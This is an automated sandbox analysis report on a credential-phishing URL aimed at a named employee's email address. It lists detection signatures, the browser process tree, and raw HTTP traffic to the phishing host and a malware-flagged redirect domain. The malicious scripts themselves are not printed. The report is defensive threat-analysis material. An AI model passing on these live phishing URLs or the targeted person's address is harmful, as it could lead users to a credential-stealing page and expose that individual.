Edit tour

Windows Analysis Report
https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com

Overview

General Information

Sample URL:	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com
Analysis ID:	1582269
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

HTML page contains hidden javascript code

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5956 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6124 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: https://bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ru/omcrjprngregvqdgxhjhzfuaiiCDSRTVBIBXFZZZJEQKFDTSFXHDDNDYNEUXWPXZCQPGVCKAPNN

Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with an untrusted domain further increase the risk. While the script appears to have some legitimate functionality related to a CAPTCHA-like system, the overall behavior is highly suspicious and indicative of potential malicious intent.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While some of the behaviors may be related to legitimate functionality, such as analytics or error reporting, the overall level of risk is elevated due to the presence of multiple suspicious indicators. Further review and analysis would be necessary to determine the true intent and potential impact of this script.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to an external domain. The script also contains obfuscated code and a self-executing function that triggers a redirect after a certain time delay. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing analysis or redirecting users to a malicious site.

Source: https://developer.microsoft.com/en-us/graph

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1024 1024"> <defs> <linearGradient id="plate-fill" x1="-.2" y1="-.2" x2=".8" y2=".8"> <stop offset="0" stop-color="#5a62c4"></stop> ...

Source: https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com

Sample URL: PII: Memily.gamble@amd.com

Source: https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	HTTP Parser: No favicon
Source: https://developer.microsoft.com/en-us/graph	HTTP Parser: No favicon
Source: https://developer.microsoft.com/en-us/	HTTP Parser: No favicon
Source: https://developer.microsoft.com/en-us/	HTTP Parser: No favicon
Source: https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot	HTTP Parser: No favicon

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /da4scmQ/ HTTP/1.1Host: n0.kolivane.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://n0.kolivane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://n0.kolivane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://n0.kolivane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://n0.kolivane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://n0.kolivane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8fa030fc5af14414&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: n0.kolivane.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://n0.kolivane.ru/da4scmQ/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJCd3BjYStJSFNFZGdFZ3U3aXpsUkE9PSIsInZhbHVlIjoiT0lBRGIzOXpWcTRlMDZ3RldCeGZQUXVUNi9WWjdOY0tSTnhPc0VqMW9MNkY4YUtaQzBGTHljU1RGdThsa1JFN3g2SjJwaE8zM0ZZZTVhOFNhNWhMMnRqMk93UjV0SVUxSUppcnVSSnJHbkVHblNsMU00RXlnNm9uSXpuN3pWMkkiLCJtYWMiOiJlNDhlNTNmODEzNjBjNGNmNGZmNzc1NTRhMTNmMDFkOTMzZTdmNGVlNTIxMzQxNzgwMTZmYmM5NmEyMDllZWNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJVYWF6SGdvY0FhSFNSUzhpTTVHNkE9PSIsInZhbHVlIjoiZ05rSEhtR0xpS3BRWE1PRGkwN3BYNVRoUEdsL2VFaFBwWVVSZ05ra3kzL1EvMTNSb1NnbWxmdEQ1aEJGcm1EUnhIcGhCdGxWaUp0blhsV1RqUFdINURrRHY0K3JnUVdlU2krbGpJVk1EY3dVS3BncTlPSDh2WXpTOE5wa0JkRHkiLCJtYWMiOiIwYjg3MzVjZDJjOTY4MzJkZmUwMjdmMzlhOGU5YzczYWIxMTk5NjBkMWIzZmMzYjI4MzRkMjQ3MzA5YTlhZmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8fa030fc5af14414&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8fa030fc5af14414/1735542431706/029b2b57aabe7f9353881938530680a2aea7f4fe05c3095a364d0d8bd9ca313a/VXySNR7memHRoib HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8fa030fc5af14414/1735542431708/1_huuTo_VzN7_Gf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8fa030fc5af14414/1735542431708/1_huuTo_VzN7_Gf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /omcrjprngregvqdgxhjhzfuaiiCDSRTVBIBXFZZZJEQKFDTSFXHDDNDYNEUXWPXZCQPGVCKAPNN HTTP/1.1Host: bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://n0.kolivane.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://n0.kolivane.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /omcrjprngregvqdgxhjhzfuaiiCDSRTVBIBXFZZZJEQKFDTSFXHDDNDYNEUXWPXZCQPGVCKAPNN HTTP/1.1Host: bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.analytics-web-3.2.12.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://developer.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /copilot-free HTTP/1.1Host: aka.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://developer.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/03dbdfab/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube-nocookie.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/03dbdfab/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube-nocookie.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/MLWlWrRAb4w/maxresdefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube-nocookie.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/03dbdfab/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube-nocookie.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
